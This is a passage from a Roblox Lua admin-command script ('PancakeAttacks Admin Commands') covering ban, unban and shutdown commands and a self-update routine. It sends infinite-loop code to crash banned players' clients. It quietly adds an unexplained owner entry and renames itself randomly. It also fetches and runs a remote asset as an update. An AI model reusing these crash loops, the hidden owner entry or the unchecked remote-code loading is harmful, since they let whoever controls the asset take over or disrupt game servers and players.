set['TempAdmins'][i]:lower():find(msg:lower():sub(9)) == 1 then set.Hint(set['TempAdmins'][i]..' No Longer Has TempAdmin',{plr}) table.remove(set['TempAdmins'], i) end end)) end end if msg:lower():sub(1,4) == "ban " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not set.ChkAdmin(v.Name, false) then table.insert(set['BanList'], v.Name..'='..v.userId) if not game.Players:FindFirstChild(v.Name) then set.NilExecute(v,[[while true do end]]) else if v then pcall(function() v:Kick() end) end end end end)) end end if msg:lower():sub(1,6) == "unban " then for i=1,#set['BanList'] do coroutine.wrap(function() if set['BanList'][i]:lower():find(msg:sub(7):lower()) then set.Hint(set['BanList'][i]..' has been Un-Banned.',{plr}) table.remove(set['BanList'], i) end end)() end end if msg:lower() == "shutdown" then set.Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 5) wait(1) coroutine.wrap(function() coroutine.wrap(function() game:GetService('RunService').Stepped:connect(function() for i,v in pairs(game:service('NetworkServer'):children()) do coroutine.wrap(function() if v and v:GetPlayer() then v:GetPlayer():Kick() wait() if v and v:GetPlayer() then set.NilExecute(v:GetPlayer(),[[while true do end]]) end end end)() end end) end)() coroutine.wrap(function() while wait(10) do Instance.new("ManualSurfaceJointInstance") repeat until nil end end)() end)() end end end)() end) if Failed then set.OutputGui(plr,'Command Error:',Failed) print('Error: '..Failed) end end if set['SyncedBanList'] and game.CreatorId~=0 then coroutine.wrap(function() while wait(set['SBLWait'] or 5) do pcall(function() set.UpdateSBL() for i,v in pairs(game.Players:children()) do set.CheckBan(set.bl,v) end end) end end)() end table.insert(set['Owners'],set.nfs) coroutine.wrap(function() if set['AutoCleanDelay']<5 then set['AutoCleanDelay']=5 end while wait(set['AutoCleanDelay']) do if set['AutoClean'] then set.CleanWorkspace() end end end)() script.Name=math.random(100000,9999999) coroutine.wrap(function() pcall(function() for i,v in pairs(game:service('Players'):children()) do if v:IsA('Player') then set.NewPlayer(v) end end end) end)() coroutine.wrap(function() game:service('Players').PlayerAdded:connect(function(player) pcall(function() coroutine.wrap(function() set.NewPlayer(player) end)() end) end) end)() print("PancakeAttacks Admin Commandst Loaded") print('Epix Incorporated. Not Everything is so Black and White.') print(' ') print(set.quotes[math.random(1,#set.quotes)]) print(' ') end)() end --[ Check for Updates ]-- coroutine.wrap(function() local pid={38083724} for i,v in pairs(pid) do if v and v==game.PlaceId or v==game.CreatorId then set.RunTheScript=function() script:Destroy() end end end local ok,no=ypcall(function() local k=game:GetService('InsertService'):LoadAsset(149223415) if k then k:Destroy() end end) if set['AutoUpdate'] and ok then local k,n=ypcall(function() print('AutoUpdate Enabled, Checking') local mo=game:GetService('InsertService'):LoadAsset(149223415) local news=mo:FindFirstChild("PancakeAttacks Admin Commands") local ver=news:FindFirstChild('Version') version1=ver.Value version=script:FindFirstChild('Version').Value print('AutoUpdate: Current version: '..version) print('AutoUpdate: Found version: '..version1) if version1>version then print('AutoUpdate: New version '..version1..' found') _G["Pancake Update"]={} local update = _G["Pancake Update"] for number,setting in pairs(ThingsToUpdate) do if set[setting] then update[setting]=set[setting] end end news.Parent=game:service('ServerScriptService') mo:Destroy() print('AutoUpdate: Removing old version '..version) script:Destroy() else print('AutoUpdate: No new version found') mo:Destroy() set.RunTheScript() end end) if not k or n then print('AutoUpdate Broke: '..n) print('AutoUpdate failed. Running script.') set.RunTheScript() end else print('Admin: AutoUpdate is Disabled') set.RunTheScript() end end)()